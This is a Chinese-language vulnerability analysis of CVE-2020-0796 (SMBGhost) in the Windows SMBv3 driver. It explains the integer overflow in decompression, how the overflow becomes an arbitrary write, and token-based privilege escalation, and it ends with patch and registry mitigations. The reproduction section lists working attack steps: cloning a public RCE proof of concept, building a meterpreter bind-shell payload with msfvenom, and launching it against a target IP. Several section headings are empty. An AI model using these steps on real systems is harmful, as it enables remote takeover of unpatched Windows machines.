0x00 漏洞描述
0x01 漏洞響應版本
0x02 漏洞分析
1.根本原因
漏洞發生在srv2.sys中,由於SMB沒有正確處理壓縮的數據包,在解壓數據包的時候使用客戶端傳過來的長度進行解壓時,並沒有檢查長度是否合法.最終導致整數溢出。
2.初步分析
該錯誤是發生在srv2.sys SMB服務器驅動程序中的Srv2DecompressData函數中的整數溢出錯誤。這是該函數的簡化版本,省略了不相關的細節:
typedef struct _COMPRESSION_TRANSFORM_HEADER { ULONG ProtocolId; ULONG OriginalCompressedSegmentSize; USHORT CompressionAlgorithm; USHORT Flags; ULONG Offset; } COMPRESSION_TRANSFORM_HEADER, *PCOMPRESSION_TRANSFORM_HEADER; typedef struct _ALLOCATION_HEADER { // ... PVOID UserBuffer; // ... } ALLOCATION_HEADER, *PALLOCATION_HEADER; NTSTATUS Srv2DecompressData(PCOMPRESSION_TRANSFORM_HEADER Header, SIZE_T TotalSize) { PALLOCATION_HEADER Alloc = SrvNetAllocateBuffer( (ULONG)(Header->OriginalCompressedSegmentSize + Header->Offset), NULL); If (!Alloc) { return STATUS_INSUFFICIENT_RESOURCES; } ULONG FinalCompressedSize = 0; NTSTATUS Status = SmbCompressionDecompress( Header->CompressionAlgorithm, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER) + Header->Offset, (ULONG)(TotalSize - sizeof(COMPRESSION_TRANSFORM_HEADER) - Header->Offset), (PUCHAR)Alloc->UserBuffer + Header->Offset, Header->OriginalCompressedSegmentSize, &FinalCompressedSize); if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; } if (Header->Offset > 0) { memcpy( Alloc->UserBuffer, (PUCHAR)Header + sizeof(COMPRESSION_TRANSFORM_HEADER), Header->Offset); } Srv2ReplaceReceiveBuffer(some_session_handle, Alloc); return STATUS_SUCCESS; }
該Srv2DecompressData函數接收客戶端發送的壓縮消息,分配所需的內存量,並解壓縮數據。然后,如果Offset字段不為零,它會將放置在壓縮數據之前的數據復制到分配的緩沖區的開頭。

如果仔細觀察,我們會發現第20行和第31行可能導致某些輸入的整數溢出。例如,大多數在bug發布后不久出現並導致系統崩潰的poc都使用0xffffff值作為Offset字段。使用該值0xffffff會在第20行觸發整數溢出,因此分配的字節更少。
稍后,它會在第31行觸發額外的整數溢出。崩潰是由於在第30行中計算出的遠離接收消息的地址處的內存訪問造成的。如果代碼在第31行驗證了計算結果,那么它將很早退出,因為緩沖區長度恰好是負數且無法表示,這也使得第30行的地址本身也無效。

3.選擇溢出內容
只有兩個相關字段可以控制以導致整數溢出的字段:OriginalCompressedSegmentSize和Offset,因此沒有太多選擇。在嘗試了幾種組合之后,下面的組合吸引了我們:如果我們發送一個合法的偏移值和一個巨大的原始壓縮段大小值呢?讓我們回顧一下代碼將要執行的三個步驟:
- 分配:由於整數溢出,分配的字節數將小於兩個字段的總和。
- 解壓縮:解壓縮將收到一個非常大的OriginalCompressedSegmentSize值,將目標緩沖區視為具有無限大小。所有其他參數均不受影響,因此它將按預期執行。
- 復制:如果要執行,則復制將按預期執行。
不管是否要執行復制步驟,它看起來已經很有趣了——我們可以在解壓縮階段觸發越界寫入,因為我們設法分配了比“分配”階段所需的字節少的字節。

如您所見,使用這種技術,我們可以觸發任何大小和內容的溢出,這是一個很好的開始。但是什么位於我們的緩沖區之外?讓我們找出答案!
4.深入分析SrvNetAllocateBuffer
為了回答這個問題,我們需要查看分配函數,在我們的例子中是SrvNetAllocateBuffer。下面是函數的有趣部分:
PALLOCATION_HEADER SrvNetAllocateBuffer(SIZE_T AllocSize, PALLOCATION_HEADER SourceBuffer) { // ... if (SrvDisableNetBufferLookAsideList || AllocSize > 0x100100) { if (AllocSize > 0x1000100) { return NULL; } Result = SrvNetAllocateBufferFromPool(AllocSize, AllocSize); } else { int LookasideListIndex = 0; if (AllocSize > 0x1100) { LookasideListIndex = /* some calculation based on AllocSize */; } SOME_STRUCT list = SrvNetBufferLookasides[LookasideListIndex]; Result = /* fetch result from list */; } // Initialize some Result fields... return Result; }
我們可以看到分配函數根據所需的字節數執行不同的操作。大型分配(大於約16MB)會導致執行失敗。中型分配(大於約1 MB)使用SrvNetAllocateBufferFromPool函數進行分配。小型分配(其余的)使用lookaside列表進行優化。
注意:還有一個SrvDisableNetBufferLookAsideList標志會影響函數的功能,但是它是由一個未記錄的注冊表設置來設置的,並且默認情況下處於禁用狀態,因此並不是很有趣。
Lookaside列表用於有效地為驅動程序保留一組可重用的、固定大小的緩沖區。lookaside列表的功能之一是定義一個自定義的分配/釋放函數,用於管理緩沖區。查看SrvNetBufferLookasides數組的引用,我們發現它是在SrvNetCreateBufferLookasides函數中初始化的,通過查看它,我們了解到以下內容:
- 自定義分配函數定義為SrvNetBufferLookasideAllocate,它只調用SrvNetAllocateBufferFromPool
- 9個lookaside列表按以下大小創建,我們使用Python快速計算:
>>> [hex((1 << (i + 12)) + 256) for i in range(9)]
[‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’] - 這與我們的發現相匹配,即分配大於0x100100字節的分配時不使用lookaside列表。
結論是每個分配請求最終都出現在SrvNetAllocateBufferFromPool函數中,所以讓我們來分析它。
6.SrvNetAllocateBufferFromPool和分配的緩沖區布局
SrvNetAllocateBufferFromPool函數使用ExAllocatePoolWithTag函數在NonPagedPoolNx池中分配一個緩沖區,然后用數據填充一些結構。分配的緩沖區的布局如下:

在我們的研究范圍內,此布局的唯一相關部分是用戶緩沖區和分配頭結構。我們可以馬上看到,通過溢出用戶緩沖區,我們最終會重寫ALLOCATION_HEADER結構。看起來很方便。
7.重寫分配頭結構
此時,我們的第一個想法是,由SmbCompressionDecompress調用之后的檢查:
if (Status < 0 || FinalCompressedSize != Header->OriginalCompressedSegmentSize) { SrvNetFreeBuffer(Alloc); return STATUS_BAD_DATA; }
SrvNetFreeBuffer將被調用,並且該函數將失敗,因為我們將其設計OriginalCompressedSegmentSize為一個很大的數字,並且FinalCompressedSize將成為一個較小的數字,代表實際的解壓縮字節數。因此,我們分析了該SrvNetFreeBuffer函數,成功地替換了一個幻數的分配指針,然后等待free函數嘗試對其進行釋放,以期稍后將其用於free-after-free或類似用途。但是令我們驚訝的是,該memcpy函數崩潰了。這使我們感到高興,因為我們根本沒有想到哪里,但我們必須檢查為什么會這樣。可以在SmbCompressionDecompress函數的實現中找到說明:
NTSTATUS SmbCompressionDecompress( USHORT CompressionAlgorithm, PUCHAR UncompressedBuffer, ULONG UncompressedBufferSize, PUCHAR CompressedBuffer, ULONG CompressedBufferSize, PULONG FinalCompressedSize) { // ... NTSTATUS Status = RtlDecompressBufferEx2( ..., FinalUncompressedSize, ...); if (Status >= 0) { *FinalCompressedSize = CompressedBufferSize; } // ... return Status; }
基本上,如果解壓成功,FinalCompressedSize將更新為保存CompressedBufferSize的值,它是緩沖區的大小。這種對FinalCompressedSize返回值的故意更新對我們來說似乎非常可疑,因為這個小細節,加上分配的緩沖區布局,允許非常方便地利用這個bug。
由於執行繼續到復制原始數據的階段,讓我們再次檢查調用:
memcpy( Alloc-> UserBuffer, (PUCHAR)title+ sizeof(COMPRESSION_TRANSFORM_HEADER), Header-> Offset);
從ALLOCATION_HEADER結構中讀取目標地址,我們可以覆蓋該結構。緩沖區的內容和大小也由我們控制。
8.本地權限提升
既然我們有了寫在哪里開發,我們能用它做什么?很明顯我們可以讓系統崩潰。我們可能能夠觸發遠程代碼執行,但我們還沒有找到這樣做的方法。如果我們在本地主機上使用此漏洞並泄漏其他信息,我們可以將其用於本地權限提升,因為已經通過幾種技術證明了這一點
我們嘗試的第一種技術是Morten Schenk在其《Black Hat USA 2017》演講中提出的。該技術涉及重寫win32的.data部分中的函數指針數據庫系統驅動程序,然后從用戶模式調用相應的函數以獲得代碼執行。j00ru寫了一篇關於在WCTF 2018中使用此技術的精彩文章,並提供了他的漏洞源代碼。我們針對write what where漏洞進行了調整,但發現它不起作用,因為處理SMB消息的線程不是GUI線程。因此,win32數據庫系統沒有映射,而且技術也不相關(除非有辦法使它成為一個GUI線程,這是我們沒有研究過的)。
我們最終在2012年的黑帽演示中使用了cesarcer所介紹的著名技術—輕松本地Windows內核開發。該技術是通過使用NtQuerySystemInformation(SystemHandleInformation)API泄漏當前進程令牌地址,然后重寫該地址,授予當前進程令牌權限,這些權限可用於權限提升。Bryan Alexander(dronesec)和Stephen Breen(breenmachine)(2017)在EoP研究中濫用代理權限,展示了使用各種令牌特權提升特權的幾種方法。
0x03 CVE-2020-0796 RCE漏洞復現
root@kali2019:/opt# git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git


root@kali2019:/opt# cd SMBGhost_RCE_PoC/





root@kali2019:~# msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py


root@kali2019:~# cat exp.py




msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp #設置反彈模式 msf5 exploit(multi/handler) > set rhost 192.168.1.103 #設置目標靶機IP地址 msf5 exploit(multi/handler) > set lport 2333 #設置監聽端口 msf5 exploit(multi/handler) > exploit


python3 exploit.py -ip 192.168.1.103




0x04 CVE-2020-0796 本地提權漏洞復現






0x05 漏洞檢測



0x06 漏洞修復
1. 更新,完成補丁的安裝。
操作步驟:設置->更新和安全->Windows更新,點擊“檢查更新”。
2.微軟給出了臨時的應對辦法:
運行regedit.exe,打開注冊表編輯器,在HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters建立一個名為DisableCompression的DWORD,值為1,禁止SMB的壓縮功能。
3.對SMB通信445端口進行封禁。